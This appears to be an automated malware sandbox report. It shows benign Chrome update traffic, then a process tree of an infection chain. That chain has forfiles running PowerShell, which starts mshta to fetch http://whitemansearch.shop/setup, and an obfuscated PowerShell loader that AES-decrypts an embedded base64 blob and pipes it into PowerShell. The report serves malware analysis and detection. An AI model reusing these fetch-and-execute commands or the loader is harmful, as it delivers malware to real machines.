2024-02-20 22:46:54 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49741	142.251.32.99	443	7832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-20 22:47:04 UTC	1300	OUT	POST /service/update2/json?cup2key=13:-vFhbXIYSt195hZ9czxEiHVOgNLWGS93mSplEOoaRLg&cup2hreq=ae79cd913e31312ed280fc40c79584ae139c71d008019539ab658d0e0144a261 HTTP/1.1 Host: update.googleapis.com Connection: keep-alive Content-Length: 3784 X-Goog-Update-AppId: gonpemdgkjcecdgbnaabipppbmgfggbe,ihnlcenocehgdaegdmhbidjhnhdchfmm,neifaoindggfcjicffkgpmnlppeffabd,hnimpnehoodheedghdeeijklkeaacbdc,gcmjkmgdlgnkkcocmoeiminaijmmjnii,kiabhabjdbkjdpjbpigfodbdjmbglcoo,obedbbhbpmojnkanicioggnmelmoomoc,oimompecagnajdejgnnjijobebaeigek,hfnkpimlhhgieaddgfemjhofmfblmnib,khaoiebndkojlmppeemjhbpbandiljpe,llkgjffcdpffmhiakmfcdcblohccpfmo,giekcmmlnklenlaomppkphknjmnnpneh,laoigpblnllgcgjnjnllmfolckpjlhki,efniojlnjndmcbiieegkicadnoecjjef,ggkkehgbnfjpeggfpleeakpidbkibbmn,jamhcnnkihinmdlkakkaopbjbbcngflc,ojhpjlocmbogdgmfpkhlaaeamibhnphh,ehgidpndbllacpjalkiimkbadgjfnnmc,eeigpngbgcognadeebkilcpcaedhellh,jflookgnkcckhobaglndicnbbgbonegd,cocncanleafgejenidihemfflagifjic X-Goog-Update-Interactivity: bg X-Goog-Update-Updater: chrome-117.0.5938.132 Content-Type: application/json Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br
2024-02-20 22:47:04 UTC	3784	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 40 6f 73 22 3a 22 77 69 6e 22 2c 22 40 75 70 64 61 74 65 72 22 3a 22 63 68 72 6f 6d 65 22 2c 22 61 63 63 65 70 74 66 6f 72 6d 61 74 22 3a 22 63 72 78 33 2c 70 75 66 66 22 2c 22 61 70 70 22 3a 5b 7b 22 5f 69 6e 74 65 72 6e 61 6c 5f 65 78 70 65 72 69 6d 65 6e 74 61 6c 5f 73 65 74 73 22 3a 22 66 61 6c 73 65 22 2c 22 61 70 70 69 64 22 3a 22 67 6f 6e 70 65 6d 64 67 6b 6a 63 65 63 64 67 62 6e 61 61 62 69 70 70 70 62 6d 67 66 67 67 62 65 22 2c 22 62 72 61 6e 64 22 3a 22 4f 4e 47 52 22 2c 22 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 70 69 6e 67 22 3a 7b 22 72 22 3a 2d 32 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 7d 2c 22 76 65 72 73 69 6f 6e 22 3a 22 30 2e 30 2e 30 2e Data Ascii: {"request":{"@os":"win","@updater":"chrome","acceptformat":"crx3,puff","app":[{"_internal_experimental_sets":"false","appid":"gonpemdgkjcecdgbnaabipppbmgfggbe","brand":"ONGR","enabled":true,"lang":"en-US","ping":{"r":-2},"updatecheck":{},"version":"0.0.0.
2024-02-20 22:47:04 UTC	1139	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-Vo3SQLGK7EbOEkp_OF39ow' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 20 Feb 2024 22:47:04 GMT X-Cup-Server-Proof: 3045022100abe54096118a8ca1c157bd84fbfa02431f3ba47f00618d424c0fb54505326a5202206d23b0ca874ed47fef0e671bb77a02457ab04903e4601dbe94eef23778a822c3:ae79cd913e31312ed280fc40c79584ae139c71d008019539ab658d0e0144a261 ETag: W/"3045022100abe54096118a8ca1c157bd84fbfa02431f3ba47f00618d424c0fb54505326a5202206d23b0ca874ed47fef0e671bb77a02457ab04903e4601dbe94eef23778a822c3:ae79cd913e31312ed280fc40c79584ae139c71d008019539ab658d0e0144a261" Content-Type: application/json; charset=utf-8 Content-Length: 22465 X-Daynum: 6259 X-Daystart: 53224 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-02-20 22:47:04 UTC	1252	IN	Data Raw: 29 5d 7d 27 0a 7b 22 72 65 73 70 6f 6e 73 65 22 3a 7b 22 73 65 72 76 65 72 22 3a 22 70 72 6f 64 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 33 2e 31 22 2c 22 64 61 79 73 74 61 72 74 22 3a 7b 22 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 22 3a 35 33 32 32 34 2c 22 65 6c 61 70 73 65 64 5f 64 61 79 73 22 3a 36 32 35 39 7d 2c 22 61 70 70 22 3a 5b 7b 22 61 70 70 69 64 22 3a 22 67 6f 6e 70 65 6d 64 67 6b 6a 63 65 63 64 67 62 6e 61 61 62 69 70 70 70 62 6d 67 66 67 67 62 65 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 3a 7a 31 78 3a 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 41 75 74 6f 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 Data Ascii: )]}'{"response":{"server":"prod","protocol":"3.1","daystart":{"elapsed_seconds":53224,"elapsed_days":6259},"app":[{"appid":"gonpemdgkjcecdgbnaabipppbmgfggbe","cohort":"1:z1x:","status":"ok","cohortname":"Auto","ping":{"status":"ok"},"updatecheck":{"statu
2024-02-20 22:47:04 UTC	1252	IN	Data Raw: 72 65 64 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 56 32 54 59 74 51 6e 74 61 30 4a 35 44 66 65 31 66 68 57 76 53 49 6d 4c 53 38 49 5c 75 30 30 33 64 22 7d 5d 7d 7d 7d 7d 2c 7b 22 61 70 70 69 64 22 3a 22 69 68 6e 6c 63 65 6e 6f 63 65 68 67 64 61 65 67 64 6d 68 62 69 64 6a 68 6e 68 64 63 68 66 6d 6d 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 3a 3a 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6e 6f 75 70 64 61 74 65 22 7d 7d 2c 7b 22 61 70 70 69 64 22 3a 22 6e 65 69 66 61 6f 69 6e 64 67 67 66 63 6a 69 63 66 66 6b 67 70 6d 6e 6c 70 70 65 66 66 61 62 64 22 2c 22 63 6f Data Ascii: red":true,"hash":"V2TYtQnta0J5Dfe1fhWvSImLS8I\u003d"}]}}}},{"appid":"ihnlcenocehgdaegdmhbidjhnhdchfmm","cohort":"1::","status":"ok","cohortname":"","ping":{"status":"ok"},"updatecheck":{"status":"noupdate"}},{"appid":"neifaoindggfcjicffkgpmnlppeffabd","co
2024-02-20 22:47:04 UTC	1252	IN	Data Raw: 74 6d 2e 63 72 78 33 22 2c 22 66 70 22 3a 22 31 2e 63 39 30 30 62 61 39 61 32 64 38 33 31 38 32 36 33 66 64 34 33 37 38 32 65 65 36 66 64 35 66 62 35 30 62 61 64 37 38 62 66 30 65 62 32 63 39 37 32 62 35 39 32 32 63 34 35 38 61 66 34 35 65 64 22 2c 22 72 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 6d 4d 64 44 68 6b 67 66 46 78 73 4a 79 35 53 51 4b 42 61 49 4f 53 37 76 76 39 30 5c 75 30 30 33 64 22 7d 5d 7d 7d 7d 7d 2c 7b 22 61 70 70 69 64 22 3a 22 68 6e 69 6d 70 6e 65 68 6f 6f 64 68 65 65 64 67 68 64 65 65 69 6a 6b 6c 6b 65 61 61 63 62 64 63 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 3a 3a 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 Data Ascii: tm.crx3","fp":"1.c900ba9a2d8318263fd43782ee6fd5fb50bad78bf0eb2c972b5922c458af45ed","required":true,"hash":"mMdDhkgfFxsJy5SQKBaIOS7vv90\u003d"}]}}}},{"appid":"hnimpnehoodheedghdeeijklkeaacbdc","cohort":"1::","status":"ok","cohortname":"","ping":{"status":"
2024-02-20 22:47:04 UTC	342	IN	Data Raw: 34 39 32 5f 68 6e 69 6d 70 6e 65 68 6f 6f 64 68 65 65 64 67 68 64 65 65 69 6a 6b 6c 6b 65 61 61 63 62 64 63 2e 63 72 78 22 2c 22 66 70 22 3a 22 31 2e 36 66 36 62 63 39 33 64 63 64 36 32 64 63 32 35 31 38 35 30 64 32 66 66 34 35 38 66 64 61 39 36 30 38 33 63 65 62 37 66 62 65 38 65 65 62 31 31 32 34 38 62 38 34 38 35 65 66 32 61 65 61 32 33 22 2c 22 72 65 71 75 69 72 65 64 22 3a 74 72 75 65 7d 5d 7d 7d 7d 7d 2c 7b 22 61 70 70 69 64 22 3a 22 67 63 6d 6a 6b 6d 67 64 6c 67 6e 6b 6b 63 6f 63 6d 6f 65 69 6d 69 6e 61 69 6a 6d 6d 6a 6e 69 69 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 3a 62 6d 31 3a 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 53 74 61 62 6c 65 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f Data Ascii: 492_hnimpnehoodheedghdeeijklkeaacbdc.crx","fp":"1.6f6bc93dcd62dc251850d2ff458fda96083ceb7fbe8eeb11248b8485ef2aea23","required":true}]}}}},{"appid":"gcmjkmgdlgnkkcocmoeiminaijmmjnii","cohort":"1:bm1:","status":"ok","cohortname":"Stable","ping":{"status":"o
2024-02-20 22:47:04 UTC	1252	IN	Data Raw: 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 64 33 72 6d 33 63 69 71 73 33 66 6a 72 34 62 63 34 78 35 76 77 75 69 6c 64 65 71 5f 39 2e 34 39 2e 31 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 64 33 72 6d 33 63 69 71 73 33 66 6a 72 34 62 63 34 78 35 76 77 75 69 6c 64 65 71 5f 39 2e 34 39 2e 31 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 64 33 72 6d 33 63 69 71 73 33 Data Ascii: edgedl/release2/chrome_component/ad3rm3ciqs3fjr4bc4x5vwuildeq_9.49.1/"},{"codebase":"https://edgedl.me.gvt1.com/edgedl/release2/chrome_component/ad3rm3ciqs3fjr4bc4x5vwuildeq_9.49.1/"},{"codebase":"http://dl.google.com/release2/chrome_component/ad3rm3ciqs3
2024-02-20 22:47:04 UTC	1252	IN	Data Raw: 65 22 3a 22 68 74 74 70 73 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 64 77 65 34 32 35 78 6c 7a 71 33 32 67 78 6c 35 62 77 32 34 71 64 6f 6c 62 64 61 5f 32 30 32 34 2e 31 2e 32 2e 31 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 64 77 65 34 32 35 78 6c 7a 71 33 32 67 78 6c 35 62 77 32 34 71 64 6f 6c 62 64 61 5f 32 30 32 34 2e 31 2e 32 2e 31 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 32 2f 63 Data Ascii: e":"https://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adwe425xlzq32gxl5bw24qdolbda_2024.1.2.1/"},{"codebase":"http://dl.google.com/release2/chrome_component/adwe425xlzq32gxl5bw24qdolbda_2024.1.2.1/"},{"codebase":"https://dl.google.com/release2/c
2024-02-20 22:47:04 UTC	1252	IN	Data Raw: 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 64 68 69 6f 6a 34 35 68 7a 6a 6b 66 75 6e 6e 37 63 63 72 62 71 79 79 68 75 33 71 5f 32 30 32 33 30 39 31 36 2e 35 36 37 38 35 34 36 36 37 2e 31 34 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 64 68 69 6f 6a 34 35 68 7a 6a 6b 66 75 6e 6e 37 63 63 72 62 71 79 79 68 75 33 71 5f 32 30 32 33 30 39 31 36 2e 35 36 37 38 35 34 36 36 37 2e 31 34 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f Data Ascii: /edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567854667.14/"},{"codebase":"http://dl.google.com/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567854667.14/"},{"codebase":"https://dl.google.com/release2/chrome_co
2024-02-20 22:47:04 UTC	1252	IN	Data Raw: 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 75 72 6c 73 22 3a 7b 22 75 72 6c 22 3a 5b 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 6b 33 62 37 64 66 63 66 36 6f 6f 35 65 79 6a 63 70 74 74 63 65 68 72 37 65 75 5f 38 35 35 39 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 6b 33 62 37 64 66 63 66 36 6f 6f 35 65 Data Ascii: ":{"status":"ok"},"updatecheck":{"status":"ok","urls":{"url":[{"codebase":"http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/k3b7dfcf6oo5eyjcpttcehr7eu_8559/"},{"codebase":"https://edgedl.me.gvt1.com/edgedl/release2/chrome_component/k3b7dfcf6oo5e
2024-02-20 22:47:04 UTC	1252	IN	Data Raw: 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 63 65 7a 79 6a 79 74 32 66 70 32 78 35 33 64 68 79 71 62 76 74 33 67 78 64 6c 71 5f 36 33 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 63 65 7a 79 6a 79 74 32 66 70 32 78 35 33 64 68 79 71 62 76 74 33 67 78 64 6c 71 5f 36 33 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 63 65 7a 79 6a 79 74 32 66 70 32 78 35 33 64 68 79 71 62 76 74 33 67 78 64 6c 71 5f Data Ascii: ease2/chrome_component/acezyjyt2fp2x53dhyqbvt3gxdlq_63/"},{"codebase":"https://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acezyjyt2fp2x53dhyqbvt3gxdlq_63/"},{"codebase":"http://dl.google.com/release2/chrome_component/acezyjyt2fp2x53dhyqbvt3gxdlq_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49745	142.250.72.110	443	7832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-20 22:47:34 UTC	449	OUT	GET /tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=00000000000000000000000000000000000000005071B001ED HTTP/1.1 Host: clients1.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br
2024-02-20 22:47:34 UTC	817	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-g0p4jbFY4d8tWveUHuXVzg' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/download-dt/1 Content-Security-Policy: script-src 'report-sample' 'nonce-lhrlbDQmhYmjmjY4kAqOVA' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/download-dt/1 Content-Type: text/plain; charset=utf-8 Content-Length: 220 Date: Tue, 20 Feb 2024 22:47:34 GMT Expires: Tue, 20 Feb 2024 22:47:34 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-02-20 22:47:34 UTC	220	IN	Data Raw: 72 6c 7a 43 31 3a 20 31 43 31 4f 4e 47 52 5f 65 6e 55 53 31 30 39 38 0a 72 6c 7a 43 32 3a 20 31 43 32 4f 4e 47 52 5f 65 6e 55 53 31 30 39 38 0a 72 6c 7a 43 37 3a 20 31 43 37 4f 4e 47 52 5f 65 6e 55 53 31 30 39 38 0a 64 63 63 3a 20 0a 73 65 74 5f 64 63 63 3a 20 43 31 3a 31 43 31 4f 4e 47 52 5f 65 6e 55 53 31 30 39 38 2c 43 32 3a 31 43 32 4f 4e 47 52 5f 65 6e 55 53 31 30 39 38 2c 43 37 3a 31 43 37 4f 4e 47 52 5f 65 6e 55 53 31 30 39 38 0a 65 76 65 6e 74 73 3a 20 43 31 49 2c 43 32 49 2c 43 37 49 2c 43 31 53 2c 43 37 53 0a 73 74 61 74 65 66 75 6c 2d 65 76 65 6e 74 73 3a 20 43 31 49 2c 43 32 49 2c 43 37 49 0a 63 72 63 33 32 3a 20 37 30 65 61 35 65 61 35 0a Data Ascii: rlzC1: 1C1ONGR_enUS1098rlzC2: 1C2ONGR_enUS1098rlzC7: 1C7ONGR_enUS1098dcc: set_dcc: C1:1C1ONGR_enUS1098,C2:1C2ONGR_enUS1098,C7:1C7ONGR_enUS1098events: C1I,C2I,C7I,C1S,C7Sstateful-events: C1I,C2I,C7Icrc32: 70ea5ea5

Target ID:	0
Start time:	23:45:54
Start date:	20/02/2024
Path:	C:\Windows\System32\forfiles.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell start mshta http://whitemansearch.shop/setup
Imagebase:	0x7ff663820000
File size:	52'224 bytes
MD5 hash:	9BB67AEA5E26CB136F23F29CC48D6B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:45:54
Start date:	20/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:45:54
Start date:	20/02/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	start mshta http://whitemansearch.shop/setup
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:45:56
Start date:	20/02/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\mshta.exe" http://whitemansearch.shop/setup
Imagebase:	0x7ff74b3e0000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:45:57
Start date:	20/02/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:45:58
Start date:	20/02/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOdGVs3cuD2h7Z0Etr930+QCfF';$PAvNVyn = 'eW1FbE1LT2RGdGV3TXdRUlpyWFFRbnZGeFdtd1R3Z2w=';$Hgjhdnd = New-Object 'System.Security.Cryptography.AesManaged';$Hgjhdnd.Mode = [System.Security.Cryptography.CipherMode]::ECB;$Hgjhdnd.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$Hgjhdnd.BlockSize = 128;$Hgjhdnd.KeySize = 256;$Hgjhdnd.Key = [System.Convert]::FromBase64String($PAvNVyn);$fmSHI = [System.Convert]::FromBase64String($gIWXcqO);$HwKLSIPl = $fmSHI[0..15];$Hgjhdnd.IV = $HwKLSIPl;$bKVkoZaIu = $Hgjhdnd.CreateDecryptor();$woNqXSfkI = $bKVkoZaIu.TransformFinalBlock($fmSHI, 16, $fmSHI.Length - 16);$Hgjhdnd.Dispose();$LMMKhz = New-Object System.IO.MemoryStream( , $woNqXSfkI );$dYlrlK = New-Object System.IO.MemoryStream;$cYowFoTfZ = New-Object System.IO.Compression.GzipStream $LMMKhz, ([IO.Compression.CompressionMode]::Decompress);$cYowFoTfZ.CopyTo( $dYlrlK );$cYowFoTfZ.Close();$LMMKhz.Close();[byte[]] $OhXploZ = $dYlrlK.ToArray();$mkeeaJ = [System.Text.Encoding]::UTF8.GetString($OhXploZ);$mkeeaJ \| powershell -
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:45:58
Start date:	20/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:46:00
Start date:	20/02/2024
